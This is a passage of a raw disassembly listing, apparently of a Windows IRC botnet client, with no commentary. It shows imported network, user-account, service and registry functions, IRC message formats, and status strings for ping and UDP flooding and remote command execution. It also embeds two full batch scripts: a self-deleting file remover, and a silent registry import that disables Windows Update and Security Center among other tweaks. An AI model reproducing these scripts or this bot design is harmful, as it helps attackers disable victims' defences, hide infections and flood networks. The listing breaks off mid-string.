5Dh db 20h db 28h, 73h, 6Fh db 63h ; c db 6Bh, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAuthentication db ' Authentication failed. Remote userid: %s != %s.',0 align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4073B6+B8Co align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4073B6+B7Fo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4073B6+B72o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4073B6+B65o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4073B6+B58o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4073B6+B50o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4073B6:loc_407EF9o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4073B6+B0Eo align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4073B6+B06o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4073B6:loc_407EAFo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4073B6+AB4o align 10h aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4073B6+AA7o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4073B6+A9Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4073B6+A92o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4073B6:loc_407E3Bo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4073B6+A50o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4073B6+A48o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4073B6:loc_407DF1o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4073B6+A06o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4073B6+9FEo align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4073B6:loc_407DA7o align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4073B6+974o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4073B6+967o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4073B6+95Ao aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4073B6+94Do align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4073B6+940o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4073B6+933o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4073B6+926o align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4073B6+919o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4073B6+90Co align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4073B6+8FFo aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4073B6+8F7o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4073B6:loc_407C9Co align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4073B6+8A9o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4073B6+89Co aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4073B6+894o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4073B6:loc_407C3Do align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4073B6+85Ao align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4073B6+7E8o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4073B6+7DBo align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4073B6+7CEo align 10h aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4073B6+7C1o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4073B6+7B4o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4073B6+7A7o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4073B6+79Ao align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4073B6+78Do align 10h aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4073B6+780o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4073B6+778o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4073B6:loc_407B1Do aClosesocket db 'closesocket',0 ; DATA XREF: sub_4073B6+62Eo aGetpeername db 'getpeername',0 ; DATA XREF: sub_4073B6+621o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4073B6+614o align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4073B6+607o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4073B6+5FAo aGetsockname db 'getsockname',0 ; DATA XREF: sub_4073B6+5EDo aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4073B6+5E0o align 10h aAccept db 'accept',0 ; DATA XREF: sub_4073B6+5D3o ; .data:0042A780o align 4 aListen db 'listen',0 ; DATA XREF: sub_4073B6+5C6o align 10h aSelect db 'select',0 ; DATA XREF: sub_4073B6+5B9o align 4 aBind db 'bind',0 ; DATA XREF: sub_4073B6+5B1o align 10h aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4073B6+59Fo align 4 aRecv db 'recv',0 ; DATA XREF: sub_4073B6+592o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4073B6+585o align 4 aSend db 'send',0 ; DATA XREF: sub_4073B6+578o ; sub_40CC09+1E2Bo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4073B6+56Bo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4073B6+55Eo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4073B6+551o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4073B6+544o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4073B6+537o align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4073B6+52Ao align 4 aConnect db 'connect',0 ; DATA XREF: sub_4073B6+51Do ; .data:0042AB90o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4073B6+510o aSocket db 'socket',0 ; DATA XREF: sub_4073B6+503o align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4073B6+4F6o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4073B6+4E9o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4073B6+4DCo align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4073B6+4CFo align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4073B6+4C2o align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4073B6+4B5o align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4073B6+4ADo align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4073B6+49Co align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4073B6+429o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4073B6+41Co align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_4073B6+40Fo align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4073B6+402o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4073B6+3F5o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4073B6+3E8o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4073B6+3DBo align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4073B6+3CEo align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4073B6+3C6o align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4073B6:loc_40776Bo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4073B6:loc_407743o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4073B6+335o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4073B6+328o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4073B6+31Bo align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4073B6+30Eo align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_4073B6+301o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4073B6+2F4o align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4073B6+2E7o align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4073B6:loc_407695o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4073B6+2AFo align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4073B6+2A2o align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4073B6:loc_407650o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4073B6+252o aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4073B6+245o aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4073B6+238o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4073B6+22Bo align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4073B6+21Eo aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4073B6+216o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4073B6:loc_4075BBo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4073B6+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4073B6+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4073B6+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4073B6+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4073B6+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4073B6+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4073B6+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4073B6+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4073B6:loc_4074EBo ; sub_41CA11+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4073B6:loc_4074BEo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4073B6+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4073B6+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4073B6+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4073B6+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4073B6+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4073B6+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4073B6+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4073B6+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4073B6+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4073B6+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4073B6+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4073B6+Ao align 4 unk_426D5C db 2 ; DATA XREF: sub_407F9F+2BEo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Fh db 72h ; r db 65h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aDllTestComplet db 'DLL test complete.',0 align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4084F4+72o align 10h aMirc db 'mIRC',0 ; DATA XREF: sub_4085B9+5o ; sub_412A14+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40863B+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4086DF+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_408701+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_408701+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_408701+48o align 4 aCA_bat db 'c:\a.bat',0 ; DATA XREF: sub_408889+29o align 10h a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_408889+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,' db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\' db '1.reg',0Dh,0Ah db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio' db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah db 'DEL %temp%\1.reg',0Dh,0Ah db 'DEL %0',0Dh,0Ah,0 align 4 unk_428698 db 2 ; DATA XREF: sub_40897F:loc_408A3Eo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 66h, 6Ch db 75h ; u db 73h, 68h, 64h db 6Eh ; n db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aNotSupportedBy db 'Not supported by this system.',0 align 4 unk_4286D8 db 2 ; DATA XREF: sub_40897F:loc_408A0Co db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 66h, 6Ch db 75h ; u db 73h, 68h, 64h db 6Eh ; n db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aUnableToAlloca db 'Unable to allocation ARP cache.',0 unk_428718 db 2 ; DATA XREF: sub_40897F:loc_4089D8o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 66h, 6Ch db 75h ; u db 73h, 68h, 64h db 6Eh ; n db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aArpCacheIsEmpt db 'ARP cache is empty.',0 unk_42874C db 2 ; DATA XREF: sub_40897F+49o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 66h, 6Ch db 75h ; u db 73h, 68h, 64h db 6Eh ; n db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorGettingAr db 'Error getting ARP cache: <%d>.',0 align 4 unk_42878C db 2 ; DATA XREF: sub_408B03+13Co db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 69h db 6Eh ; n db 67h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFinishedSendin db 'Finished sending pings to %s.',0 align 4 unk_4287C8 db 2 ; DATA XREF: sub_408B03+6Eo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 70h, 69h db 6Eh ; n db 67h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSendingPi db 'Error sending pings to %s.',0 align 10h unk_428800 db 2 ; DATA XREF: sub_408C8F+1C6o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 75h, 64h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 unk_42883C db 2 ; DATA XREF: sub_408C8F+8Eo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 75h, 64h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_408F0D+33o unk_428884 db 2 ; DATA XREF: sub_408F94:loc_4090CAo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Dh db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 unk_4288C4 db 2 ; DATA XREF: sub_408F94+113o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Dh db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 unk_4288FC db 2 ; DATA XREF: sub_408F94:loc_40907Eo db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Dh db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 unk_42893C db 2 ; DATA XREF: sub_4090ED+194o db 73h, 2, 5Bh db 1Fh db 49h, 1Fh, 5Dh db 20h db 28h, 63h, 6Dh db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartI db ' Failed to start 